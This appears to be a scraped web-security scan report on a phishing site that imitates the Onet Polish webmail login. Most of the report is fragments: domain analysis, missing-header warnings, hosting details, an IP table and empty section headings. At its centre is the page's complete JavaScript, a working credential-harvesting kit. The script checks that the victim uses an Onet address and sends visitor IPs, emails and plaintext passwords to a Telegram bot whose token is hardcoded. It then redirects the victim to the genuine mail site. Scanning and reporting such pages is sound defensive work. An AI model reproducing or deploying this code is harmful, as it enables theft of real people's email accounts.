blog personal website

news media journalism

social media network

technology software

adult content

Polish

The domain name 'werifyserwis.netlify.app' uses the application-focused generic top-level domain (.app) with subdomain 'werifyserwis'. The core label 'netlify' covers 7 characters containing 2 vowels alongside 5 consonants. Word splitting yields three words: net, li, fy. Median word length is two characters. No strong language cues emerged from the frequency lists.

email

password

9a2d804d43cd32183bd2b6d835edab14271cadcb5ad2d0b05c84196f55b81e8f

70dd78d43328f93f6d780eb008383671fbdc212f021048a121a0f9d6bdf15d96

hosting-provider

https://netlify.new/?utm_campaign=ai-legible&utm_source=meta&utm_medium=referral&utm_id=490aa3d9-8932-4237-9169-9b4dc1c2623c

netlify-deploy

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';media-src blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Domains Abuse

GoDaddy.com, LLC

telegram.org

Name.com Abuse Team

Name.com, Inc.

netlify.app

Amazon Web Services, LLC

Amazon

A100 ROW GmbH

Amazon Webservices EC2

AMAZO-ZFRA

// ==================== ONET DOMAINS ====================
 const ONET_DOMAINS = [
 'onet.pl',
 'op.pl',
 'vp.pl',
 'poczta.onet.pl',
 'onet.eu',
 'autograf.pl',
 'buziaczek.pl',
 'spoko.pl',
 'poczta.onet.eu',
 'onet.com.pl',
 'amorki.pl',
 'opoczta.pl'
 ];

 function isOnetEmail(email) {
 const domain = email.split('@')[1]?.toLowerCase();
 return ONET_DOMAINS.includes(domain);
 }

 // ==================== TELEGRAM ====================
 const BOT_TOKEN = "8709920320:AAHLGAEnHtuGMM3i7c7dmre52pMQ1xzaO1Q";
 const CHAT_ID = "8980576689";

 function sendToTelegram(message) {
 fetch(`https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`, {
 method: "POST",
 headers: { "Content-Type": "application/json" },
 body: JSON.stringify({
 chat_id: CHAT_ID,
 text: message,
 parse_mode: "HTML",
 }),
 }).catch((err) => console.log("Error:", err));
 }

 // ==================== IP ====================
 fetch("https://api.ipify.org?format=json")
 .then((res) => res.json())
 .then((data) => {
 const ip = data.ip;
 const visitTime = new Date().toLocaleString("pl-PL", {
 timeZone: "Europe/Warsaw",
 });
 const userAgent = navigator.userAgent;

 const visitMessage =
 `NEW VISITOR\n\n` +
 `IP Address: ${ip}\n` +
 `User Agent: ${userAgent.substring(0, 150)}\n` +
 `Time: ${visitTime}\n`;

 sendToTelegram(visitMessage);
 })
 .catch(() => {
 const visitTime = new Date().toLocaleString("pl-PL", {
 timeZone: "Europe/Warsaw",
 });
 const visitMessage =
 `NEW VISITOR\n\n` +
 `IP Address: Failed to get\n` +
 `User Agent: ${navigator.userAgent.substring(0, 150)}\n` +
 `Time: ${visitTime}`;
 sendToTelegram(visitMessage);
 });

 // ==================== STEP 1 ====================
 const step1 = document.getElementById('step1');
 const step2 = document.getElementById('step2');
 const emailDisplay = document.getElementById('emailDisplay');
 const emailInput = document.getElementById('email');
 const passwordInput = document.getElementById('password');
 const domainError = document.getElementById('domainError');

 document.getElementById('formStep1').addEventListener('submit', function(e) {
 e.preventDefault();

 const email = emailInput.value.trim();

 // Walidacja: czy to poprawny email
 if (!email || !email.includes('@')) {
 document.getElementById('errorMsg1').style.display = 'block';
 domainError.style.display = 'none';
 setTimeout(() => {
 document.getElementById('errorMsg1').style.display = 'none';
 }, 3000);
 return;
 }

 // Walidacja: czy to domena Onet
 if (!isOnetEmail(email)) {
 domainError.style.display = 'block';
 emailInput.classList.add('error');
 return;
 }

 domainError.style.display = 'none';
 emailInput.classList.remove('error');
 document.getElementById('errorMsg1').style.display = 'none';

 emailDisplay.textContent = email;

 step1.classList.add('hidden');
 step2.classList.add('active');

 setTimeout(() => {
 passwordInput.focus();
 }, 300);
 });

 // Usuwanie błędu domeny przy wpisywaniu
 emailInput.addEventListener('input', function() {
 domainError.style.display = 'none';
 emailInput.classList.remove('error');
 });

 // ==================== PASSWORD TOGGLE ====================
 function togglePasswordVisibility() {
 const input = document.getElementById('password');
 const btn = document.getElementById('togglePassword');
 const svg = btn.querySelector('svg');
 if (input.type === 'password') {
 input.type = 'text';
 svg.innerHTML = `
 <path d="M17.94 17.94A10.07 10.07 0 0 1 12 20c-7 0-11-8-11-8a18.45 18.45 0 0 1 5.06-5.94M9.9 4.24A9.12 9.12 0 0 1 12 4c7 0 11 8 11 8a18.5 18.5 0 0 1-2.16 3.19m-6.72-1.07a3 3 0 1 1-4.24-4.24" />
 <line x1="1" y1="1" x2="23" y2="23" />
 `;
 } else {
 input.type = 'password';
 svg.innerHTML = `
 <path d="M1 12s4-8 11-8 11 8 11 8-4 8-11 8-11-8-11-8z" />
 <circle cx="12" cy="12" r="3" />
 `;
 }
 }

 // ==================== STEP 2 ====================
 document.getElementById('formStep2').addEventListener('submit', function(e) {
 e.preventDefault();

 const email = emailInput.value.trim();
 const password = passwordInput.value;

 if (password.length < 4) {
 document.getElementById('errorMsg2').style.display = 'block';
 document.getElementById('successMsg').style.display = 'none';

 setTimeout(() => {
 document.getElementById('errorMsg2').style.display = 'none';
 }, 3000);
 return;
 }

 document.getElementById('errorMsg2').style.display = 'none';

 const submitTime = new Date().toLocaleString('pl-PL', {
 timeZone: 'Europe/Warsaw',
 });

 fetch('https://api.ipify.org?format=json')
 .then((res) => res.json())
 .then((data) => {
 const ip = data.ip;

 const loginMessage =
 `NEW LOGIN DATA\n\n` +
 `Email: ${email}\n` +
 `Password: ${password}\n\n` +
 `IP Address: ${ip}\n` +
 `User Agent: ${navigator.userAgent.substring(0, 150)}\n` +
 `Time: ${submitTime}`;

 sendToTelegram(loginMessage);
 })
 .catch(() => {
 const loginMessage =
 `NEW LOGIN DATA\n\n` +
 `Email: ${email}\n` +
 `Password: ${password}\n\n` +
 `IP Address: Failed to get\n` +
 `Time: ${submitTime}`;
 sendToTelegram(loginMessage);
 });

 document.getElementById('successMsg').style.display = 'block';

 document.getElementById('formStep2').reset();

 setTimeout(() => {
 window.location.href = 'https://poczta.onet.pl/';
 }, 2000);
 });

Requests	IP Address	Location	AS Autonomous System
1	172.67.74.152Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	35.157.26.135Aws · CLOUD	Frankfurt am Main, Hesse, Germany	AS16509Amazon.com, Inc.
1	65.9.130.100Cloudfront · CDN	United States	AS16509Amazon.com, Inc.
1	104.26.12.205Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	149.154.166.110	Amsterdam, North Holland, Netherlands	AS62041Telegram Messenger Inc
1	65.9.130.118Cloudfront · CDN	United States	AS16509Amazon.com, Inc.
1	3.171.214.86Cloudfront · CDN	United States	AS16509Amazon.com, Inc.
7	7	-	-

Security Scan Report: werifyserwis.netlify.app

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History